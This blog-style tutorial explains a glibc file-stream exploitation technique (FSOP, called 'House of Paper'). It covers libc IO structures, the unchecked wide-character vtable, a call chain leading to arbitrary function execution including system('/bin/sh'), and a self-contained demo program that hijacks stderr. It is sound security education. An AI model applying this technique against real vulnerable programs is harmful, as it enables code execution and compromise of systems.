This post will walk through the libc’s IO
structures and their exploitation paths. It will also cover the House of Paper FSOP technique.
To begin with, it is necessary to get familiar with the FILE (_IO_FILE
) structure:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete {
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
The _IO_read_*
, _IO_write_*
and _IO_buf_*
members of the structure are used for buffering purposes. Angel Boy has a great presentation explaining that attack surface.
The default FILE variables (stderr
, stdin
, stdout
) and also other variables initialized using fopen()
are in reality _IO_FILE_plus
structures (or _IO_FILE_complete_plus
in newer versions), which simply concatenate a virtual table pointer at the end of the _IO_FILE
structure:
struct _IO_FILE_complete_plus
{
struct _IO_FILE_complete file;
const struct _IO_jump_t *vtable;
};
The member vtable
is a pointer to a virtual table ( a _IO_jump_t
structure-like struct called _IO_file_jumps
), which is a struct that contains multiple pointers to functions used during the IO operations. Here is what _IO_jump_t
looks like:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
The member _wide_data
is a pointer to a structure similar to _IO_FILE
used for wider character streams, and looks like this:
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
As you can observe, it has the member _wide_vtable
at the end of the structure, which is also a pointer to another virtual table. The difference between this virtual table pointer and the one on _IO_FILE_plus
is that the macros used to execute the functions of this virtual table do not check whether it is a valid virtual table pointer or not (they don’t execute _IO_validate_vtable()
). Here is a side by side comparison of the macros used:
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
The function _IO_validate_vtable()
was added on glibc-2.24
and does a couple of checks on the virtual table pointer. First it checks whether it lands inside the offset where the default vtables exist on the libc:
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable) {
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
If not fulfilled, it will run _IO_vtable_check()
where it will compare the value of &IO_accept_foreign_vtables
to that of &_IO_vtable_check
, proceed if equals, else abort.
The following is a diagram representing these structures and the relationship between them:
Virtual tables
+---------------------+<--+
+-------------->| _IO_file_jumps | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| +---------------------+ |
+-----------...........---------------------+ | | | |
0x0| _flags . . _IO_read_ptr | | | | |
+-----------...........---------------------+ | | | |
0x10| _IO_read_end | _IO_read_base | | | | |
+---------------------+---------------------+ | | | |
0x18| _IO_write_base | _IO_write_ptr | | | | |
+---------------------..... | | | | |
| . | | | | |
| . | | | | |
| . | | | | |
| | | | | |
| | | | | | valid
. . | | | |
. . | +---------------------+ | virtual table
. . | | | |
. . | | | | offset inside
. . | | | |
| | | | | | libc
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
0xa0+---------------------+ | | | | |
+-----+ _wide_data | | | | | |
| +---------------------+ | | | | |
| | | | +---------------------+ |
| | | | | | |
| | | | | | |
| | +---------------------+ | | | |
| | 0xd8| vtable +--------+ | | |
| +---------------------+---------------------+ | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
+---->+---------------------+---------------------+ +---------------------+<--+
| _IO_read_ptr | _IO_read_end |
+---------------------+---------------------+
| _IO_read_base | _IO_write_base |
+---------------------+---------------------+
| _IO_write_ptr | |
+---------------------..... |
| . |
| . |
| |
| |
| |
| |
| |
. .
. .
. .
. .
. .
. .
| |
| |
| |
| |
| |
+---------------------+---------------------+
0xe0| _wide_vtable |
+----------------+----+
|
| This can point anywhere
+------------------------------------------>
The exploitation aproach is to leverage the fact that the macros that execute the functions of the _wide_data
virtual table are not checked through _IO_validate_vtable()
. The idea is to first make fp->vtable
point to a different valid virtual table (one that lies inside the valid offset), we need that during the execution of a function of the new virtual table tries to execute any function inside fp->_wide_data->_wide_vtable
(macros with a W
in their name i.e. _IO_WOVERFLOW(FP, CH)
). Leveraging the fact that the validity of _wide_vtable
is not checked, we can make it point to a controlled area, where we will finally make it execute system
or any arbitrary function instead of the intended one.
This is the same aproach followed in all three house’s of apple discovered by Roderick and multiple other houses.
The different houses are just different paths that follow the idea explained above. In this case, I will be leveraging _IO_wfile_seekoff
to execute _IO_switch_to_wget_mode
which ultimately executes the macro _IO_WOVERFLOW
.
As I said before, some functions such as exit
or fflush
execute the functions from the virtual table _IO_FILE_plus->vtable
points to. These are called via macros, but they are ultimately just offsets. For instance when fflush
tries to call the __sync
function the code will run _IO_SYNC(fp)
(fp
is the FILE
pointer) which ultimately will do: *(fp->vtable->__sync)(fp)
. So it will execute the function at offset fp->vtable + 0x58
:
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
In order to call _IO_wfile_seekoff
we need to take into account that it is at offset 0x40
in its virtual table (_IO_wfile_jumps code):
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff), // offset 0x40
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), // offset 0x58
// [...]
};
Therefore we need to make vtable
point to _IO_wfile_jumps - 0x18
so that when it adds 0x58
(offset to _IO_wfile_sync
) and executes the function it lands on our desired _IO_wfile_seekoff
instead:
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0) //# [1]
return do_ftell_wide (fp);
/*
Unimportant code
[...]
*/
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base) //# [2]
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp)) //# this is the important function
return WEOF;
/*
[...]
*/
return offset;
}
Here we have two conditions to meet in order to continue to our desired function (_IO_switch_to_wget_mode
):
rcx != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
When the conditions are met we will enter _IO_switch_to_wget_mode
. Here we will need to fulfill some other conditions in oder to reach the _IO_WOVERFLOW
macro, which executes from the wide virtual table (fp->_wide_data->_wide_vtable
) and results in the following being executed: *(fp->_wide_data->_wide_vtable->_IO_wfile_overflow) (fp)
. As you can see, the address of the FILE pointer is passed as first argument, which means we will need to write /bin/sh\0
in the fp->_flags
position (at offset 0x0
).
Also, bear in mind that _IO_wfile_overflow
is at offset 0x18
from the base of the virtual table.
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) //# same condition as before
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
/*
[...]
*/
return 0;
}
Look how lucky we are, that the conditions of this if
are the same as before!
fp->vtable
_IO_wfile_seekoff
(&_IO_wfile_jumps + 8*8)rcx != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
Finally *(fp->_wide_data->vtable + 0x18)(fp)
gets executed.
The following is a diagram of how the different structures will result:
. .
. .
. .
. .
| |
| |
+---------------------+<--+
| _IO_file_jumps | |
| | |
| | |
| | |
| | |
| | | 0x540
| | |
| | |
. . |
_IO_FILE_plus . . |
+--------------------+----------------------+ +-------+-->. . |
| b"/bin/sh\0" | | | | . . |
+--------------------+ | | 0x18| | | |
| | | +-->+---------------------+<--+
| | | | _IO_wfile_jumps |
| | | | |
| | | | |
| | | | |
. . | | |
. . | | |
. . | |.....................|
. . | | __seekoff |
. . | |.....................|
| | | | |
| | | | |
| | | | |
0xa0+---------------------+ | | | |
+-----+ _wide_data | | | +---------------------+
| +---------------------+ | | | |
| | | | | |
| | | | | |
| | | | | |
| | +---------------------+ | | |
| | 0xd8| vtable +------------+ | |
| +---------------------+---------------------+ . .
| . .
| . .
|
|
|
|
|
|
+---->+-------------------------------------------+ +--------------+->.......................
| | | | . .
| | | 0x18| . .
| | | +->+---------------------+
| | | | &system |
| | | +---------------------+
| | |
| | |
. . |
. . |
. . |
. . |
. . |
. . |
| | |
| | |
| | |
| | |
| | |
+---------------------+---------------------+ |
0xe0| _wide_vtable | |
+----------------+----+ |
| |
| |
+---------------------------------+
Here is an example program to further show the exploitation path:
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
char* stderr2;
int
main () {
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x80e50;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x21b6a0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wfile_jumps_addr = libc_base_addr + 0x2170c0;
printf("[*] _IO_wfile_jumps addr: %p\n", (void*) _IO_wfile_jumps_addr);
stderr2 = (char*) _IO_2_1_stderr_addr;
char *wide_data = calloc(0x200, 1);
char *wide_vtable = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
puts("[+] set stderr->_flags to hack!");
*(size_t *)(stderr2) = (size_t) 0x000000216b636168;
puts("[+] set stderr->vtable to _IO_wfile_jumps_addr - 0x18");
*(size_t *)(stderr2 + 0xd8) = (size_t) _IO_wfile_jumps_addr - 0x18;
puts("[+] Set fp->_wide_data and _wide_data->_wide_vtable to custom chunks");
*(size_t *)(stderr2 + 0xa0) = (size_t) wide_data;
*(size_t *)(wide_data + 0xe0) = (size_t) wide_vtable;
puts("[+] set _wide_data->_IO_write_ptr to 1");
*(size_t *)(wide_data + 0x20) = (size_t) 0x1;
puts("[+] _wide_vtable->overflow = puts");
*(size_t *)(wide_vtable + 0x18) = (size_t) &puts;
fflush(stderr);
}
Huge thanks specially to niftic’s blog, as the exploitation path was previously discovered and documented by him. I just tried to make a blog explaining the FSOP technique as I would have liked to find it when learning about the technique.
I also called it House of Paper for fun, as I do not try by any means to get credit of the discovery of this path, all credits go to Niftic.